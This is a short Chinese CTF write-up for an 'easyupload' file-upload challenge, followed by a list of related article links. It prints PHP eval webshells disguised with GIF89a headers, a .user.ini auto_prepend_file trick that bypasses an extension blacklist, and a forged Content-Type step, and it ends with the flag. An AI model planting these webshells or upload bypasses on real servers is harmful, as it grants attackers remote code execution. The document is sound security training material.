CTF之easyupload

拿到题目发现是文件上传的漏洞,但是这个黑名单过滤的有点严格,无论是文件里还是文件后缀都不能出现php

那我们就用<?=eval($_POST['a']);?>来进行绕过(注意这里要加个GIF89a或者GIP87a进行欺骗)

但是后缀依然不能绕过怎么办?

接下来就要学新知识了

.user.ini文件

auto_prepend_file可以让所有的php文件自动的包含某个文件。

例如在.user.ini文件中写入

auto_prepend_file=shell.jpg

然后在shell.jpg中写入一个一句话木嘛

<?php eval($_P0ST['aaa']); ?>

那么和.user.ini和shell.jpg同一目录下的所有php文件都会包含shell.jpg文件。

这里上传.user.ini文件

文件里写:auto_prepend_file=a.jpg

注意:要进行抓包将文件类型改成Content-Type: image/jpeg并且也要加GIF89a或者GIF87a

然后再上传一个对应的木马文件,并且后缀为图片类型

最后就是用蚁剑连接了注意连接地址是/uploads/index.php

cyberpeace{8e50e0951cae4b39f7c312da788c71bb}

相关推荐
一只会跑会跳会发疯的猴子21 分钟前
php操作elasticsearch,亲测可用
开发语言·elasticsearch·php
RrEeSsEeTt1 小时前
【HackTheBox】- Monteverde 靶机学习
linux·网络安全·渗透测试·kali·红队·hackthebox·ad域
zmj3203241 小时前
ISO/SAE 21434:2021 合规审核清单
网络安全·信息安全·21434
一个脚本boy2 小时前
【troll2靶机的完整详细渗透测试过程附靶机链接】
web安全·网络安全
我叫黑大帅2 小时前
PHP 中处理图像的利器 GD库
后端·面试·php
我叫黑大帅2 小时前
如何使用PHP创建图像验证码
后端·面试·php
FlyChat2 小时前
自研搜索引擎实战:全栈PHP扛下核心,ES+Redis+Kafka+多语言爬虫构建高性能“智搜搜索”深度拆解
elasticsearch·搜索引擎·php
代码栈上的思考3 小时前
消息队列自定义应用层协议设计:参数取舍与响应封装的核心逻辑
开发语言·php
cch89183 小时前
PHP与C语言:从网页到内核的编程对决
c语言·开发语言·php
FlyChat3 小时前
从零到亿:拆解“智搜搜索”工业化引擎——PHP如何驯服ElasticSearch、Kafka与多语言爬虫巨兽
elasticsearch·kafka·php